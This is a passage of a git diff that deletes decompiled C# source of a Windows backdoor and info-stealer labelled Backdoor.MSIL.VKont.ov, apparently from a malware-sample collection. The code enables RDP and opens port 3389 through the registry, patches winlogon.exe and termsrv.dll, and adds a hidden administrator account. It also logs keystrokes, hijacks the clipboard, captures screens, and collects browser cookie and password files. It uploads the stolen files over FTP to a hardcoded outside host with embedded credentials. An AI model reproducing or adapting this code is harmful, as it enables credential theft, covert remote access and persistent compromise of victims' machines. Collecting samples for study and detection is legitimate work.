- Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- RegistryKey registryKey4 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\TDTCP\\Enum", true);
- registryKey4.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
- registryKey4.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey4.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- RegistryKey registryKey5 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true);
- registryKey5.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord);
- registryKey5.SetValue("TSAdvertise", (object) "00000001", RegistryValueKind.DWord);
- registryKey5.SetValue("IdleWinStationPoolCount", (object) "00000001", RegistryValueKind.DWord);
- registryKey5.SetValue("TSAppCompat", (object) "00000000", RegistryValueKind.DWord);
- registryKey5.SetValue("TSEnabled", (object) "00000001", RegistryValueKind.DWord);
- registryKey5.SetValue("TSUserEnabled", (object) "00000000", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000000", RegistryValueKind.DWord);
- RegistryKey registryKey6 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\RDPWD\\Enum", true);
- registryKey6.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
- registryKey6.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey6.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- RegistryKey registryKey7 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\TDTCP\\Enum", true);
- registryKey7.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
- registryKey7.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey7.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- RegistryKey registryKey8 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true);
- registryKey8.SetValue("SFCSetting", (object) -99, RegistryValueKind.DWord);
- registryKey8.SetValue("SFCDisable", (object) -99, RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", true).SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
- RegistryKey registryKey9 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", true);
- registryKey9.SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
- registryKey9.SetValue("fEnableWinStation", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- }
-
- public static void RDP_M()
- {
- }
-
- public static void WinLogon()
- {
- try
- {
- if (!System.IO.File.Exists(Environment.SystemDirectory + "\\winlogon.exe"))
- return;
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.bak");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe");
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.tmp");
- FileStream fileStream = new FileStream(Environment.SystemDirectory + "\\winlogon.tmp", FileMode.Open);
- byte[] buffer = new byte[fileStream.Length];
- fileStream.Read(buffer, 0, (int) fileStream.Length);
- buffer[94] = (byte) 110;
- buffer[173347] = (byte) 85;
- buffer[173348] = (byte) 139;
- buffer[173349] = (byte) 236;
- buffer[173437] = (byte) 139;
- buffer[173438] = byte.MaxValue;
- buffer[173439] = (byte) 85;
- BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(Environment.SystemDirectory + "\\winlogon.bak", FileMode.Create));
- binaryWriter.Write(buffer);
- binaryWriter.Close();
- fileStream.Close();
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"))
- {
- System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe", Environment.SystemDirectory + "\\Dllcache\\winlogon.del");
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
- }
- else
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.del");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe");
- }
- catch
- {
- }
- }
-
- public static void TermSrv()
- {
- string str = Program.TimeNow();
- try
- {
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"))
- {
- System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv" + str + ".dll");
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
- }
- else
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\termsrv.dll"))
- System.IO.File.Move(Environment.SystemDirectory + "\\termsrv.dll", Environment.SystemDirectory + "\\termsrv" + str + ".dll");
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\termsrv.dll");
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- }
-
- public static void CreateUser(string UserName, string Password)
- {
- try
- {
- DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",Computer");
- DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add(UserName, "user");
- directoryEntry2.Invoke("SetPassword", (object) Password);
- directoryEntry2.CommitChanges();
- try
- {
- directoryEntry1.Children.Find("Администраторы", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- catch
- {
- try
- {
- directoryEntry1.Children.Find("Administrators", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- catch
- {
- }
- }
- DirectoryEntry directoryEntry3;
- try
- {
- directoryEntry3 = directoryEntry1.Children.Find("Пользователи удаленного рабочего стола", "group");
- directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- catch
- {
- directoryEntry3 = directoryEntry1.Children.Find("Remote Desktop Users", "group");
- directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- directoryEntry3.Close();
- directoryEntry1.Close();
- directoryEntry2.Close();
- }
- catch
- {
- }
- }
-
- private static void proces(string proc)
- {
- bool flag = true;
- try
- {
- while (flag)
- {
- Application.DoEvents();
- Process[] processArray = (Process[]) null;
- for (int index = 0; index < processArray.Length; ++index)
- {
- processArray = Process.GetProcesses();
- Thread.Sleep(20);
- if (processArray[index].ProcessName == proc)
- processArray[index].Kill();
- }
- }
- }
- catch
- {
- }
- }
-
- private static void key()
- {
- try
- {
- Thread.Sleep(100);
- Application.EnableVisualStyles();
- Application.SetCompatibleTextRenderingDefault(false);
- Program._hookID = Program.SetHook(Program._proc);
- Application.Run();
- Program.UnhookWindowsHookEx(Program._hookID);
- }
- catch
- {
- }
- }
-
- private static void Screnn()
- {
- for (int index = 1; index <= 0; ++index)
- {
- Thread.Sleep(TimeSpan.FromSeconds(0.0));
- new Program.ScreenShotDll().CaptureScreen("null" + Program.TimeNow() + ".Jpeg", ImageFormat.Jpeg);
- }
- }
-
- private static bool buffDlin()
- {
- int length = "null".Length;
- return true;
- }
-
- private static bool buffZ()
- {
- Program.buflyb = (string) null;
- int length = "null".Length;
- return true;
- }
-
- private static bool buffCritery() => Program.buffZ();
-
- private static void strBuffer()
- {
- bool flag = true;
- while (true)
- {
- do
- {
- IDataObject dataObject;
- do
- {
- do
- {
- Application.DoEvents();
- Thread.Sleep(100);
- }
- while (!flag);
- dataObject = Clipboard.GetDataObject();
- }
- while (Program.strbug == (string) dataObject.GetData(DataFormats.Text) || !dataObject.GetDataPresent(DataFormats.Text));
- Program.strbug = (string) dataObject.GetData(DataFormats.Text);
- }
- while (!flag || !Program.buffCritery());
- Clipboard.SetDataObject((object) "null");
- }
- }
-
- private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
-
- public class ScreenShotDll
- {
- public void CaptureScreen(string fileName, ImageFormat imageFormat)
- {
- int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow());
- int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc);
- int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10));
- Program.GDI32.SelectObject(compatibleDc, compatibleBitmap);
- Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376);
- this.SaveImageAs(compatibleBitmap, fileName, imageFormat);
- this.Cleanup(compatibleBitmap, windowDc, compatibleDc);
- }
-
- public Bitmap CaptureScreen()
- {
- int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow());
- int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc);
- int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10));
- Program.GDI32.SelectObject(compatibleDc, compatibleBitmap);
- Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376);
- Bitmap image = this.GetImage(compatibleBitmap);
- this.Cleanup(compatibleBitmap, windowDc, compatibleDc);
- return image;
- }
-
- private void Cleanup(int hBitmap, int hdcSrc, int hdcDest)
- {
- Program.User32.ReleaseDC(Program.User32.GetDesktopWindow(), hdcSrc);
- Program.GDI32.DeleteDC(hdcDest);
- Program.GDI32.DeleteObject(hBitmap);
- }
-
- private void SaveImageAs(int hBitmap, string fileName, ImageFormat imageFormat) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height).Save(fileName, imageFormat);
-
- private Bitmap GetImage(int hBitmap) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height);
- }
-
- private class User32
- {
- [DllImport("User32.dll")]
- public static extern int GetDesktopWindow();
-
- [DllImport("User32.dll")]
- public static extern int GetWindowDC(int hWnd);
-
- [DllImport("User32.dll")]
- public static extern int ReleaseDC(int hWnd, int hDC);
- }
-
- private class GDI32
- {
- [DllImport("GDI32.dll")]
- public static extern bool BitBlt(
- int hdcDest,
- int nXDest,
- int nYDest,
- int nWidth,
- int nHeight,
- int hdcSrc,
- int nXSrc,
- int nYSrc,
- int dwRop);
-
- [DllImport("GDI32.dll")]
- public static extern int CreateCompatibleBitmap(int hdc, int nWidth, int nHeight);
-
- [DllImport("GDI32.dll")]
- public static extern int CreateCompatibleDC(int hdc);
-
- [DllImport("GDI32.dll")]
- public static extern bool DeleteDC(int hdc);
-
- [DllImport("GDI32.dll")]
- public static extern bool DeleteObject(int hObject);
-
- [DllImport("GDI32.dll")]
- public static extern int GetDeviceCaps(int hdc, int nIndex);
-
- [DllImport("GDI32.dll")]
- public static extern int SelectObject(int hdc, int hgdiobj);
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/AssemblyInfo.cs
deleted file mode 100644
index 1e886428..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/AssemblyInfo.cs
+++ /dev/null
@@ -1,3 +0,0 @@
-using System.Reflection;
-
-[assembly: AssemblyVersion("0.0.0.0")]
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Backdoor.MSIL.VKont.ov.csproj b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Backdoor.MSIL.VKont.ov.csproj
deleted file mode 100644
index a9f2e28f..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Backdoor.MSIL.VKont.ov.csproj
+++ /dev/null
@@ -1,43 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {16193AB0-F188-4FA9-A294-591D9518098D}
- Exe
- erer
- 0.0.0.0
- Troj
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Backdoor.MSIL.VKont.ov.sln b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Backdoor.MSIL.VKont.ov.sln
deleted file mode 100644
index a717bbb6..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Backdoor.MSIL.VKont.ov.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "erer", "Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771.csproj", "{16193AB0-F188-4FA9-A294-591D9518098D}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {16193AB0-F188-4FA9-A294-591D9518098D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {16193AB0-F188-4FA9-A294-591D9518098D}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {16193AB0-F188-4FA9-A294-591D9518098D}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {16193AB0-F188-4FA9-A294-591D9518098D}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Program.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Program.cs
deleted file mode 100644
index dc3bd642..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Program.cs
+++ /dev/null
@@ -1,961 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Troj.Program
-// Assembly: erer, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: B218A6D0-8457-4160-9687-D26D4DA84A93
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771.exe
-
-using Microsoft.Win32;
-using System;
-using System.Diagnostics;
-using System.DirectoryServices;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-using System.Net;
-using System.Net.Mail;
-using System.Net.Sockets;
-using System.Runtime.InteropServices;
-using System.Text;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace Troj
-{
- public class Program
- {
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 256;
- private static int svsex;
- private static int sdosta;
- private static string logkey;
- private static int keycount = 0;
- private static Thread[] thkey;
- private static Thread[] tcherez;
- private static int cerezcount = 0;
- private static int keyI;
- private static string strbug;
- private static string strbuftx;
- private static string buflyb;
- private static int ftpi;
- private static int countGroup = 0;
- private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback);
- private static IntPtr _hookID = IntPtr.Zero;
- private static Thread th;
- private static TcpClient socketForServer;
- private static NetworkStream networkStream;
- private static StreamWriter streamWriter;
- private static StreamReader streamReader;
- private static Process processCmd;
- private static StringBuilder strInput;
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(
- int idHook,
- Program.LowLevelKeyboardProc lpfn,
- IntPtr hMod,
- uint dwThreadId);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(
- IntPtr hhk,
- int nCode,
- IntPtr wParam,
- IntPtr lParam);
-
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
-
- [DllImport("user32.dll")]
- public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
-
- [DllImport("user32.dll")]
- private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
-
- private static void SearchAll(
- string disk,
- string n_file,
- string smail,
- string sftp,
- string spapka)
- {
- DirectoryInfo directoryInfo = new DirectoryInfo(disk);
- try
- {
- foreach (DirectoryInfo directory in directoryInfo.GetDirectories())
- {
- try
- {
- foreach (FileSystemInfo file in directory.GetFiles(n_file, SearchOption.TopDirectoryOnly))
- Program.CherezShto(file.FullName, smail, sftp, spapka);
- }
- catch
- {
- }
- Program.SearchAll(directory.FullName, n_file, smail, sftp, spapka);
- }
- }
- catch
- {
- }
- }
-
- private static IntPtr SetHook(Program.LowLevelKeyboardProc proc)
- {
- using (Process currentProcess = Process.GetCurrentProcess())
- {
- using (ProcessModule mainModule = currentProcess.MainModule)
- return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U);
- }
- }
-
- private static string TimeNow()
- {
- DateTime now = DateTime.Now;
- return now.Year.ToString() + "-" + now.Month.ToString() + "-" + now.Day.ToString() + "-" + now.Hour.ToString() + "-" + now.Minute.ToString() + "-" + now.Second.ToString();
- }
-
- private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
- {
- Program.thkey = new Thread[128];
- if (nCode >= 0 && wParam == (IntPtr) 256)
- {
- int num = Marshal.ReadInt32(lParam);
- if (num == 13)
- {
- Program.logkey += "\n";
- }
- else
- {
- ++Program.sdosta;
- ++Program.svsex;
- Program.logkey = Program.logkey + (object) (Keys) num + ";____;";
- if (Program.sdosta == 10)
- {
- Program.sdosta = 0;
- string time = Program.TimeNow();
- try
- {
- StreamWriter streamWriter = new StreamWriter("windowsSystem32" + time + ".sys");
- streamWriter.Write(Program.logkey);
- streamWriter.Close();
- Program.thkey[Program.keycount] = new Thread((ThreadStart) (() =>
- {
- string str = time;
- if (!Program.CherezShto("windowsSystem32" + str + ".sys", "False", "True", "New_Stealer_KeyLog"))
- return;
- new FileInfo("windowsSystem32" + str + ".sys").Delete();
- }));
- Program.thkey[Program.keycount].Start();
- ++Program.keycount;
- }
- catch
- {
- }
- if (Program.keycount > 120)
- Program.keycount = 0;
- Program.logkey = (string) null;
- }
- }
- }
- return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam);
- }
-
- public static void SearchonDisk(string tmp_file, string smail, string sftp, string spapka)
- {
- try
- {
- foreach (string logicalDrive in Directory.GetLogicalDrives())
- Program.SearchAll(logicalDrive, tmp_file, smail, sftp, spapka);
- }
- catch
- {
- }
- }
-
- public static bool CherezShto(string strfile, string nmail, string nftp, string pftp)
- {
- if (nmail == "True" || nmail == "true")
- Program.Sendmailfile(strfile, "User send you message : " + strfile, "null", 0, "null", "null", "null", false);
- if (nftp == "True" || nmail == "true")
- Program.Upload_ftp(strfile, "lordo.hop.ru", "w349497", "tkr53d88", pftp);
- return true;
- }
-
- public static void CreatFileIEforXP(string smail, string sftp, string spapka)
- {
- if (System.IO.File.Exists("null"))
- System.IO.File.Delete("null");
- try
- {
- string[] directories1 = Directory.GetDirectories("C:\\Documents and Settings\\");
- string[] strArray1 = new string[directories1.Length];
- for (int index1 = 0; index1 < directories1.Length; ++index1)
- {
- if (!(directories1[index1] == "C:\\Documents and Settings\\All Users") && !(directories1[index1] == "C:\\Documents and Settings\\LocalService") && !(directories1[index1] == "C:\\Documents and Settings\\Default User") && !(directories1[index1] == "C:\\Documents and Settings\\NetworkService"))
- {
- strArray1[index1] = directories1[index1].Substring(26);
- string[] directories2 = Directory.GetDirectories("C:\\Documents and Settings\\" + strArray1[index1].ToString());
- string[] strArray2 = new string[directories2.Length];
- StreamReader streamReader = (StreamReader) null;
- StreamWriter streamWriter = new StreamWriter("null", true, Encoding.UTF8);
- for (int index2 = 0; index2 < directories2.Length; ++index2)
- {
- strArray2[index2] = directories2[index2].Substring(26 + strArray1[index1].Length);
- if (strArray2[index2] == "\\Cookies")
- {
- string[] files = Directory.GetFiles("C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString(), "*.txt");
- string[] strArray3 = new string[files.Length];
- for (int index3 = 0; index3 < files.Length; ++index3)
- {
- strArray3[index3] = files[index3].Substring(26 + strArray1[index1].Length + strArray2[index2].Length);
- string path = "C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString() + strArray3[index3].ToString();
- streamReader = new StreamReader((Stream) new FileStream(path, FileMode.Open, FileAccess.Read));
- string str = path + "\n" + streamReader.ReadToEnd();
- streamWriter.Write(str);
- }
- streamReader.Close();
- streamWriter.Close();
- break;
- }
- }
- }
- }
- Program.CherezShto("null", smail, sftp, spapka);
- }
- catch
- {
- if (!System.IO.File.Exists("null"))
- return;
- Program.CherezShto("null", smail, sftp, spapka);
- }
- }
-
- public static bool Sendmailfile(
- string temp,
- string user,
- string ssmtp,
- int sport,
- string smail,
- string spass,
- string vmail,
- bool sssl)
- {
- Attachment attachment = new Attachment(temp, "application/octet-stream");
- bool flag;
- try
- {
- SmtpClient smtpClient = new SmtpClient(ssmtp, sport);
- smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(smail, spass);
- smtpClient.EnableSsl = sssl;
- MailMessage message = new MailMessage();
- message.From = new MailAddress(smail);
- message.To.Add(new MailAddress(vmail));
- message.Subject = user;
- message.Body = user;
- message.Attachments.Add(attachment);
- smtpClient.Send(message);
- attachment.Dispose();
- flag = true;
- }
- catch
- {
- flag = false;
- attachment.Dispose();
- }
- return flag;
- }
-
- private static bool Upload_ftp(
- string filename,
- string ftpServerIP,
- string ftpUserID,
- string ftpPassword,
- string papka)
- {
- ++Program.ftpi;
- FileInfo fileInfo = new FileInfo(filename);
- FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + ftpServerIP + "/" + papka + "/" + Program.TimeNow() + "-" + fileInfo.Name));
- ftpWebRequest.Proxy = (IWebProxy) null;
- ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(ftpUserID, ftpPassword);
- ftpWebRequest.KeepAlive = false;
- ftpWebRequest.Method = "STOR";
- ftpWebRequest.UseBinary = true;
- ftpWebRequest.ContentLength = fileInfo.Length;
- int count1 = 2048;
- byte[] buffer = new byte[count1];
- FileStream fileStream = fileInfo.OpenRead();
- try
- {
- Stream requestStream = ftpWebRequest.GetRequestStream();
- for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1))
- requestStream.Write(buffer, 0, count2);
- requestStream.Close();
- fileStream.Close();
- return true;
- }
- catch
- {
- return false;
- }
- }
-
- public static void userVista(
- string disk,
- string n_file,
- string m_send,
- string smail,
- string sftp,
- string spapka)
- {
- if (m_send == "c_send")
- {
- try
- {
- string path = "C:\\Users";
- string[] directories = Directory.GetDirectories(path);
- for (int index = 0; index < directories.Length; ++index)
- {
- try
- {
- if (!(directories[index] == path + "\\All Users"))
- {
- if (!(directories[index] == path + "\\Default"))
- {
- if (!(directories[index] == path + "\\Default User"))
- {
- if (!(directories[index] == path + "\\Public"))
- Program.SearchAll(directories[index] + disk, n_file, smail, sftp, spapka);
- }
- }
- }
- }
- catch
- {
- }
- }
- }
- catch
- {
- }
- }
- if (!(m_send == "p_send"))
- return;
- Program.SearchAll(disk, n_file, smail, sftp, spapka);
- }
-
- public static void CreatFileIEforVista(string smail, string sftp, string spapka)
- {
- if (System.IO.File.Exists("null"))
- System.IO.File.Delete("@null");
- try
- {
- string path = "C:\\Users";
- string searchPattern = "*.txt";
- string[] directories = Directory.GetDirectories(path);
- for (int index = 0; index < directories.Length; ++index)
- {
- try
- {
- if (!(directories[index] == path + "\\All Users"))
- {
- if (!(directories[index] == path + "\\Default"))
- {
- if (!(directories[index] == path + "\\Default User"))
- {
- if (!(directories[index] == path + "\\Public"))
- {
- foreach (string directory in Directory.GetDirectories(directories[index] + "\\AppData\\Roaming\\Microsoft\\Windows\\Cookies"))
- {
- try
- {
- DirectoryInfo directoryInfo = new DirectoryInfo(directory);
- StreamReader streamReader = (StreamReader) null;
- StreamWriter streamWriter = new StreamWriter("null", true, Encoding.UTF8);
- foreach (FileInfo file in directoryInfo.GetFiles(searchPattern, SearchOption.TopDirectoryOnly))
- {
- streamReader = new StreamReader((Stream) new FileStream(file.FullName, FileMode.Open, FileAccess.Read));
- string str = file.FullName + "\n" + streamReader.ReadToEnd();
- streamWriter.Write(str);
- }
- streamReader.Close();
- streamWriter.Close();
- }
- catch
- {
- }
- }
- }
- }
- }
- }
- }
- catch
- {
- }
- }
- Program.CherezShto("null", smail, sftp, spapka);
- }
- catch
- {
- }
- }
-
- [STAThread]
- private static void Main(string[] args)
- {
- Console.Title = args.Length != 0 ? args[0].ToString() : "Hello";
- Program.ShowWindow(Program.FindWindow((string) null, Console.Title), 0);
- try
- {
- FileInfo fileInfo = new FileInfo(Environment.GetCommandLineArgs()[0]);
- if (args.Length == 0)
- {
- Process.Start(new ProcessStartInfo()
- {
- Verb = "runas",
- FileName = Environment.CurrentDirectory + "\\" + fileInfo.Name,
- Arguments = "administrator",
- WindowStyle = ProcessWindowStyle.Hidden,
- CreateNoWindow = true
- });
- }
- else
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true);
- registryKey.SetValue("C:\\Users\\media\\Desktop\\Cтилер\\erer.exe", (object) Application.ExecutablePath);
- registryKey.SetValue("C:/Windows\\erer.exe", (object) "C:/Windows\\erer.exe");
- System.IO.File.Copy(Application.ExecutablePath, "C:/Windows\\erer.exe");
- new Thread((ThreadStart) (() =>
- {
- Program.SearchAll("C:\\", "cookies.sqlite", "False", "True", "New_Srealer");
- Program.SearchAll("C:\\", "signons.sqlite", "False", "True", "New_Srealer");
- Program.SearchAll("C:\\", "wand.dat", "False", "True", "New_Srealer");
- Program.SearchAll("C:\\", "cookies4.dat", "False", "True", "New_Srealer");
- Program.CreatFileIEforXP("False", "True", "New_Srealer");
- Program.CreatFileIEforVista("False", "True", "New_Srealer");
- Program.SearchAll("C:\\", "Owner.MDB", "False", "True", "New_Srealer");
- Program.SearchAll("C:\\", "*.bip", "False", "True", "New_Srealer");
- Program.SearchAll("C:\\", "*.qip", "False", "True", "New_Srealer");
- })).Start();
- new Thread(new ThreadStart(Program.key)).Start();
- new Thread(new ThreadStart(Program.Screnn)).Start();
- Thread[] threadArray = new Thread[2]
- {
